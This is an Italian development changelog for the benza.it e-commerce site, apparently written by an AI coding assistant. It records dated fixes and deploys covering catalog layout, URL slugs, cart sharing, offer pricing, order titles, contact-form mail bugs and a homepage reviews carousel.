- Cron configurato su cron-job.org (GET giornaliero ~10:00 Europe/Rome, URL con `?key=`).
  Testato in dry-run e reale: la pulizia elimina i carrelli abbandonati da oltre 30 giorni.
- **Slug parlanti gallery** (`gallery{ID}-slug`, stesso pattern di categoria/model):
  - `router.php`: `gallery(\d+)(?:-.*)?` → `gallery_view?id={ID}`.
  - `gallery.php`, `laghi.php`, `vasche_istruzioni.php`: link → `gallery{id}-create_slug(nome)`.
  - `gallery_view.php`: `<link canonical>` all'URL parlante (consolida SEO).
  - `sitemap.xml`: +12 gallery visibili (38 URL). I vecchi `gallery_view?id=` restano validi.
  - `create_slug()` PHP (helpers.php) e `createSlug()` JS (common.js) producono slug identici.

## Ambiente DB (2026-07-11)

- Il DB dev è stato spostato da `Benza_sito` a **`Benza_sito_new`** (copia più aggiornata +
  `web_contenuti`/mig17). Solo `secrets.php` `BZ_DB['local']['name']` (non versionato); prod
  resta `Sql958286_1`. `Benza_sito` è da dismettere.

## 2026-07-15 — Catalogo: card raggruppante prodotto (feedback Benza)

- Problema segnalato da Benza: in `categoria.php` la foto+nome del prodotto sembravano riferiti
  ai modelli SOPRA, e la barra azzurra dell'header sembrava iniziare un prodotto nuovo. In
  realtà foto+nome appartengono ai modelli SOTTO.
- **categoria.php**: il contenitore prodotto (`div.mb-4`) ora ha anche classe `bz-cat-group`.
- **assets/css/sito.css**: nuova `.bz-cat-group` = card (bordo `--bz-gray-100`, `--bz-radius-lg`,
  ombra `0 4px 12px rgba(10,37,64,.10)`, `overflow:hidden`) che racchiude foto+nome + tabella
  modelli come UN blocco. Header azzurro squadrato in alto (`thead th` first/last-child
  `border-radius:0`). Ultima riga a filo del fondo (`tbody tr:last-child td` senza border-bottom,
  card `padding-bottom:0`); su mobile (<768px) `padding-bottom:.85rem` per far respirare le card.
- Verificato desktop + mobile (390px) con prova CSS live, poi confermato end-to-end sul CSS
  deployato (`getComputedStyle`: radius 20px, ombra, header th radius 0). Deploy Aruba FTP in
  chiaro, dimensioni remote verificate. Commit 5146dec.
- **URL parlante anche su `categoria.php`**: come già faceva `modello.php`, ora dopo il fetch
  riscrive `?c=ID` → `categoria{ID}-slug` con `history.replaceState` + `<link canonical>`
  (usa `ID_CATEGORIA` + `window.createSlug(data.categoria)`). Prima un accesso diretto con
  `?c=17` restava tale; ora diventa `categoria17-...`. Verificato in produzione (URL + canonical).

## 2026-07-15 — Documenti: ripristinate le "scritte" del vecchio sito (feedback Benza)

- Benza: in /documenti mancavano tutti i testi descrittivi del vecchio (es. il decreto acqua
  potabile), ridotti al "mero link". La pagina è CMS-driven (`web_contenuti` chiave `documenti`,
  fallback `includes/documenti_default.html`); il DB è vuoto → si vedeva solo l'elenco di link nudi.
- Ricostruito `includes/documenti_default.html` dalla vecchia `doc_genap.php` (slug `doc-genap-acqua`,
  "Certificazioni e schede tecniche"). Scelta utente: RIPRISTINA l'impianto del vecchio. Sezioni:
  Listini prezzi · Certificazioni (+ blocco "Per ragioni di copyright… acqua potabile **DM 174/2004**")
  · Certificazioni precedenti · Documentazioni e schede tecniche · Istruzioni · Normative · Pubblicità
  (rassegna stampa raggruppata per testata con le note di contesto, non più il solo mese).
- Path adattati (`allegati/`→`uploads/pdf/allegati/`, `pdf/`→`uploads/pdf/pdf/`). Verifica automatica
  (urldecode vs listing FTP): 307 link, solo 2 da correggere (`certificazione_KIWA_acqua_potabile`→`.pdf`;
  `logo_teli.png` assente, rimosso). Link interni → slug nuovi (`condizioni_vendita`, `vasche_istruzioni`,
  `vasche_accessori`). Sezione Video del vecchio (commentata) esclusa. Deploy FTP (49803 byte), verificato
  in produzione. NB: contenuto nel fallback (DB vuoto); per editarlo da admin serve popolare `web_contenuti`.

## 2026-07-16 — Fix link "Condividi carrello"

- Benza: il pulsante Condividi generava `https://www.benza.it/carrellocarrello_temp.php?share-cart-…`
  (doppio "carrello"). Causa: `carrello.php` costruiva l'URL con
  `location.pathname.replace('carrello.php','')`, che con l'URL parlante `/carrello` (senza `.php`)
  non sostituiva nulla → `/carrello` + `carrello_temp.php` = `/carrellocarrello_temp.php`.
- Fix: `var baseDir = location.pathname.replace(/\/[^\/]*$/, '/')` + `origin + baseDir + 'carrello_temp?' + shareCode`.
  Ora genera `https://www.benza.it/carrello_temp?share-cart-ID:QTA` (verificato 200 + carrello condiviso mostrato).
- **vasche_accessori.php**: ordine card modelli → **Base → Alta Qualità → Antincendio** (prima erano Alta/Base).
  Aggiunto al **Modello Antincendio** il punto "Progettazione del serbatoio e della platea sottostante, relazione
  antisismica e strutturale secondo le NTC 2018 e certificazione antincendio UNI EN 12845" (info dal vecchio sito,
  blocco copyright di doc_genap). Feedback Benza. Verificato in produzione.
- **index.php** (CTA homepage): DUE sezioni navy separate (stesso design, non nello stesso div):
  il CTA "Hai bisogno di un telo per il tuo lago? → Calcola il tuo preventivo" è stato spostato PRIMA
  del blocco "Chi siamo — Dal 1932"; il CTA "Hai bisogno di un serbatoio di acciaio? → Scarica il
  listino" (`uploads/pdf/pdf/listino_vasche.pdf`, target _blank) resta dopo Chi siamo. Feedback Benza.
  Verificato in produzione (ordine telo → Chi siamo → serbatoio, entrambe centrate).
- **api/ordini/create.php** — Titolo ordine nel gestionale (feedback Benza): `or_ordini.titolo`
  (`varchar 128`) veniva riempito col `nome_modello` (nome completo) → titoli lunghissimi, troncati e
  illeggibili. Ripristinato il comportamento del vecchio `ordine-carrello.php:170`: il titolo (`$lavoro`)
  ora usa il **`cod_modello`** (breve, es. `x1 TNT500 Lunghezza 15 m, ...`). Il nome esteso resta solo
  nella tabella dettagliata dello stato (`desc_html`). Vale per i NUOVI ordini. Diagnosi da esempi reali
  su `Benza_sit_clienti_new.or_ordini` + confronto codice vecchio/nuovo.
- **docs/sql/020_fix_titoli_ordini_gestionale.sql**: migration per rigenerare `or_ordini.titolo` (formato
  corto con `cod_modello`) sugli ordini gia' salvati dal nuovo sito (dal go-live). Cross-DB Aruba
  (Sql958286_1 e-commerce ↔ Sql958286_2 gestionale), GROUP_CONCAT dei `cod_modello`+Lunghezza. STEP 1
  DRY-RUN (verifica, esclude titoli con note manuali) + STEP 2 UPDATE. Logica validata sul NAS (titolo
  ricostruito == titolo vecchio reale). Da eseguire a mano su prod.

## 2026-07-17 — Admin: drag&drop vs scroll su smartphone (long-press)

- Problema (Paolo, test da smartphone): nelle pagine admin col riordino drag&drop il dito che
  scrolla "prende" la card invece di scorrere la pagina (SortableJS senza `delay` parte al touchstart).
- Fix: opzioni SortableJS `delay: 250, delayOnTouchOnly: true, touchStartThreshold: 4` → su touch
  il drag parte solo con pressione prolungata (gesto stile riordino icone iOS/Android), lo scroll
  resta libero; su desktop nessun cambiamento.
- Rollout progressivo: prima `gallery_immagini.php` in prod → **test di Paolo da smartphone OK**
  → poi estensione a TUTTE le altre pagine con Sortable.create: `video.php`, `gallery.php`,
  `categorie.php`, `prodotti.php` (le ultime 3 hanno già la maniglia `.bz-drag-handle`, il delay
  è cintura di sicurezza in più). Censimento: 5 pagine admin, nessun altro Sortable nel progetto.
- COMPLETATO: tutti e 5 i file deployati in prod e verificati byte-per-byte (re-download + cmp).

## 2026-07-17 — Dashboard admin: KPI due per riga su mobile

- Feedback Paolo (screenshot da smartphone): le 6 card KPI della dashboard erano una per riga su
  mobile (`col-sm-6`) sprecando spazio. Ora `col-6 col-lg-4`: due per riga anche su xs, invariato
  da sm in su (2/riga) e da lg (3/riga).
- Stili icona spostati dall'inline alla classe `.bz-kpi-icon` (resta inline solo bg/color per-card);
  su xs (<576px) icona 38px, padding .75rem e gap ridotto per stare in metà larghezza.
- Deployato in prod e verificato byte-per-byte.

## 2026-07-17 — Homepage: card "Istruzioni di Montaggio" al posto di "Riparazioni Vasche in Cemento"

- Richiesta Benza: la card homepage "Riparazioni Vasche in Cemento" non serve più. Sostituita con
  "Istruzioni di Montaggio" → link a `vasche_istruzioni` (pagina già esistente, stessa voce del menu).
- Nuova immagine `files/immagine-124.jpeg` ("Installazione del telo impermeabile", dalla gallery 5
  "Istruzioni di montaggio vasche prefabbricate" — scelta visivamente tra 4 candidate).
- Testo card: "Filmati in italiano, manuali e schemi per la posa in opera delle vasche prefabbricate
  d'acciaio Genap." — link "Vai alle istruzioni". La pagina `vasche_riparazioni` resta raggiungibile
  dal menu e dai link interni (vasche, condizioni_vendita).

## 2026-07-21 — Offerte: spedizione al checkout + descrizione completa nel gestionale

- Indagine (segnalazione Benza: "manca il trasporto nell'offerta e nell'ordine"): l'offerta non ha
  cliente/indirizzo per design (come il vecchio); le spese sull'ordine erano già calcolate e salvate
  ma invisibili (checkout "Da calcolare", desc gestionale minimale). Dettagli in memoria
  `reference_offerte_flusso`.
- **api/pubblico/offerta/read.php**: con `?id_regione=X` restituisce anche `spese_spedizione`
  (peso articoli × calcolaTrasportoReg). **objects/Offerta.php**: readArticoli ora porta anche
  sped1/sped2/contrassegno dei modelli.
- **checkout.php** (da offerta): spese reali mostrate appena c'è la regione (dal profilo o al cambio
  provincia, ricalcolo live) + riga "Sconto" nel riepilogo, sottratta dal totale → il totale a video
  coincide col totale dell'ordine creato. Flusso carrello invariato.
- **api/ordini/offerta.php** riscritto sul modello di create.php: salva indirizzo spedizione sul
  profilo, contrassegno ammesso dai modelli (non più sempre no), sync gestionale con updateCliente
  e desc_html completa (intestazione, articoli con prezzo unitario, Importo merce, riga Sconto
  offerta, Spese di spedizione, Totale, tempi consegna, CORRIERE), titolo da cod_modello; email con
  firma corretta (7 argomenti: prima il link "area personale" era rotto) e nomi modello reali.
- Fix ambiente dev: secrets.php locale puntava a `Benza_sit_clienti` (rinominato `_new` alla
  migrazione) → sync gestionale KO in dev (anche per la registrazione). Corretto (file non versionato).
- Test NAS completi: endpoint spese (93,20 € Liguria / 121,16 € Sicilia, verificati a mano), ordini
  #1654/#1655 da offerta 142 (totali esatti, indirizzo salvato, gestionale #12850 con tutte le righe),
  template email, checkout UI via browser (sconto+spese+ricalcolo live). Utente test dedicato
  test.offerte.claude@example.com (id 3154) creato via API con attivazione da token DB.

## 2026-07-21 — Offerte: fix prezzi con quantità > 1 (segnalazione Paolo su offerta reale #143)

- Bug: negli articoli offerta `costo` è il TOTALE riga, ma il checkout lo moltiplicava di nuovo per
  la quantità (4 pz da 232 € → 3.712 € invece di 928 €). Invisibile nei test precedenti (qty 1).
- Stessa radice nel backend: `ordini/offerta.php` salvava negli articoli ordine il totale riga,
  mentre TUTTO il resto (admin/ordine.php, email conferma, dettaglio PayPal) tratta `costo` come
  prezzo UNITARIO e moltiplica per la quantità. Ora salva `prezzo_unit` (= costo/quantità) e lo
  passa anche all'email. In prod non esistevano ordini da offerta → nessun dato storico da sanare.
- Test NAS: offerta 143 replicata identica alla prod (TNT500 ×4, 200 kg): checkout 928 − 69,88 +
  147,60 = 1.005,72 €; ordine #1656 con articolo costo=232 qty=4; gestionale #12851 "x4 TNT500"
  con tutte le righe esatte.

## 2026-07-22 — Footer: link social corretti (segnalazione Paolo)

- I link del footer erano inventati (`facebook.com/benza.it`, `youtube.com/user/benzasrl`).
- Facebook → `facebook.com/benza.giardino` (preso dal vecchio header.php:82, verificato HTTP 200).
- YouTube → `youtube.com/@RiserveIdriche` ("Davide Benza Water Storage"): il vecchio sito non
  linkava il canale, ricavato via oEmbed dai video incorporati (tutti dello stesso canale).
- Deploy footer_pub.php su Aruba, verificati i link sulla homepage live.
- Aggiornamento (da Paolo): la pagina Facebook giusta è quella di **Benza Water Storage**
  (`facebook.com/profile.php?id=100075931934637`), non benza.giardino (che è quella storica
  generale). Footer aggiornato e rideployato.

## 2026-07-23 — Homepage: sezione "Dicono di noi" (recensioni Google + eBay)

- Richiesta Paolo: carosello in home con le recensioni migliori (solo totalmente positive) da
  Google e dal profilo eBay, link reale a ognuna + bottone "Lasciaci una recensione".
- Fonti verificate nel browser: scheda Google "Benza Water Storage srl" (1 recensione, 5,0 —
  FID `0x12cdf50f5cc4fd2f:0xe3c83ba68f18b5d1` estratto dal data-fid della pagina) e profilo
  feedback eBay `benza_irrigazione` (100% positivi, 159 da venditore; ATTENZIONE: lo store è
  `str/benzairrigazione` ma il profilo feedback è `benza_irrigazione` con underscore).
- 7 recensioni hardcodate in `index.php` (1 Google + 6 eBay, testi verbatim; solo la n°5 leggermente
  accorciata). Card: 5 stelle, citazione, autore, "Acquisto verificato · prodotto", badge fonte
  cliccabile → recensioni Google (`#lrd=FID,1`) o profilo feedback eBay (i singoli feedback eBay
  non hanno deep-link). Bottone → `#lrd=FID,3` che apre DIRETTAMENTE il dialog "scrivi recensione".
- Carosello scroll-snap custom (no Bootstrap carousel): 3 card desktop / 2 tablet / 1+peek mobile
  (frecce nascoste su xs, si scorre col dito), autoscroll 5s che si ferma alla prima interazione,
  rispetta prefers-reduced-motion. CSS in `assets/css/sito.css` (blocco .bz-review*).
- Inserita tra il CTA listino e i Contatti rapidi. Testato su NAS desktop+mobile via browser:
  resa, frecce, autoscroll, dialog recensione Google. DEPLOYATA su Aruba (index.php + sito.css,
  verifica byte-per-byte) e ricontrollata live: sezione, 7 card, entrambi i link Google, autoscroll.
- Footer: aggiunta quarta icona social (foglia) → www.benzasrl.it (società collegata giardinaggio),
  dopo l'icona eBay. Deployata.
- **api/pubblico/contatti/send.php + api/pubblico/preventivo/send.php** — I form Contatti e Preventivo
  personalizzato NON inviavano (500 "Errore interno" PER TUTTI, non solo un cliente). DUE bug:
  (1) **path include errato** `dirname(__DIR__, 2)` per Mailer/mail_config/template → "Class Mailer not
  found": gli endpoint sono a 3 livelli (api/pubblico/xxx/) → serve `dirname(__DIR__, 3)` per la root
  (il gestionale_helper resta 2 perché sta in api/config/); (2) chiamata `$mailer->send()` con **firma
  sbagliata** — reply-to e allegato passati negli slot di `$attachments[]`/`$toName` → `foreach` su stringa
  → eccezione. Firma corretta: `send($to,$subject,$body,$attachments[],$toName)`; allegato come array
  `['path'=>,'name'=>]`. Diagnosi via curl esponendo temporaneamente `$e->getMessage()`. Verificato: 200
  "inviato con successo" su entrambi. NB reply-to per-messaggio non supportato da send() → l'email del
  richiedente resta nel corpo (Benza risponde manualmente); volendo si estende Mailer con un reply-to.
